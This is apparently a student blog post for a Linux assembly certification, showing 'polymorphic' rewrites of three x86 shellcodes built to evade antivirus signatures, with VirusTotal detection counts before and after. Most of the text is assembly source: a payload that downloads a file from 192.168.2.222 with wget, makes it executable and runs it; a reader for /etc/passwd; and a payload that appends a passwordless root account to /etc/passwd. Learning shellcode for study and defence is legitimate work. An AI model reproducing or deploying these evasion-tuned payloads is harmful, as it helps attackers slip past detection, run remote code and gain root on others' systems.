Polymorphic Shellcode

Polymorphism in the context of Shellcoding can be defined as altering the appearance of the code keeping the core functionality intact. Polymorphic shellcodes are created to beat signature based detection mechanisms which is how Antiviruses attempt to detect malicious files on systems.

In this blogpost, we will take three Linux/x86 shellcodes from shell-storm and make a Polymorphic version of each in an attempt to evade signature based detections.

The three Shellcodes are:

1. Download, chmod and execute an executable
2. Reads 4096 bytes from /etc/passwd file
3. Add root user with no password

---

Let’s begin with the first one.

1. Download, chmod and execute an executable

Original shellcode as taken from shell-storm.org:

In order to check the detection ratio, I quickly constructed an executable with a standard C harness. Below is the detection rate as seen on VirusTotal. As of now, 12/73 Antivirus engines can detect the payload. Now let’s attempt to morph our shellcode and re-upload the file and check the detection rate.

I have added a comment mark wherever I have morphed the instructions:

global _start
section .text
_start:
    ;fork
    xor ebx, ebx ;
    mov ebx, 0x1 ;
    xor ebx, ebx ;
    xor eax,eax
    mov al,0x2
    int 0x80
    xor ebx,ebx
    cmp eax,ebx
    jz child
  
    ;wait(NULL)
    xor eax,eax
    mov al,0x7
    sub al,0x1 ;
    inc eax    ;
    int 0x80
        
    ;chmod x
    xor ecx,ecx
    xor eax, eax
    xor edx, edx ;
    inc edx      ;
    dec edx      ;
    push eax
    mov al, 0xf ;chmod
    push 0x78   ; x = filename
    mov ebx, esp ; pathname
    xor ecx, ecx
    mov cx, 0x1ff ; 511
    int 0x80
    
    ;exec x
    xor eax, eax
    push eax
    push 0x78
    mov ebx, esp
    push eax
    mov edx, esp
    push ebx
    mov ecx, esp
    mov al, 20 ;
    sub al, 9  ; al = 11
;    mov al, 11
    int 0x80
    
child:
    ;download 192.168.2.222//x with wget
    push 0xb
    pop eax
    cdq
    push edx
    
    push 0x782f2f32 ;2//x avoid null byte
    push 0x32322e32 ;22.2
    push 0x2e383631 ;.861
    push 0x2e323931 ;.291
    mov ecx,esp
    push edx
    
    push 0x74 ;t
    push 0x6567772f ;egw/
    push 0x6e69622f ;nib/
    push 0x7273752f ;rsu/
    mov ebx,esp
    push edx
    push ecx
    push ebx
    mov ecx,esp
    int 0x80

As we can see below, after uploading the executable created from our morphed shellcode on VirusTotal, as of the time when I am writing the post, only 3 out of 72 Antivirus engines could detect our payload. However, now that we have submitted it on VT, the paylaod will soon be signatured.

---

2. Read /etc/passwd

Following is the debugged shellcode:

Morphed version:

global _start
_start:
	xor    ecx,ecx
	mul    ecx
	mov    al,0x5
	dec    al ;
	inc    al ;
	push   ecx
	push   0x64777373
	push   0x61702f63
	push   0x74652f2f
	mov    ebx,esp
	int    0x80
	xchg   ebx,eax
	xchg   ecx,eax
	xchg   eax,ecx ;
	xchg   ecx,eax ;
	mov    al,0x3
	xor    edx,edx
	mov    dx,0xfff
	inc    edx ;
	dec    edx ;
	inc    edx
	int    0x80
	xchg   edx,eax
	xor    eax,eax
	mov    al,0x5 ;
	dec    al     ;
	mov    al,0x4
	mov    bl,0x1
	int    0x80
	xchg   ebx,eax
	int    0x80

---

3. Add root user with no password

Below is the original shellcode:

Here is the morphed version:

 section .text
 
       global _start
 
  _start:
       push byte 2 ;
       push byte 5
       pop eax
       xor ecx, ecx
       push ecx
       push 0x64777373
       push 0x61702f2f
       push 0x6374652f
       mov eax, 0x5 ;
       mov ebx, esp
       mov cx, 02001Q
       int 0x80
 
       mov ebx, eax
 	   
       push byte 4
       pop eax
       xor edx, edx
       mov edx, 0x10 ;
       sub edx, 0x10 ;
       push edx
       push 0x3a3a3a30
       push 0x3a303a3a
       push 0x74303072
       mov ecx, esp
       push byte 12
       pop edx
       int 0x80
 
       xor eax, eax ;
       mov eax, 0x6 ;
       int 0x80
 
       push byte 1
       pop eax
       int 0x80
 
section .data
       db random: "loremipsum", 0x0

That’s all for this post.

---

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: PA-14690

Morphed shellcodes Github Repo

In the next post, which is the also the last post of this series, we will write our own custom crypter for our payloads.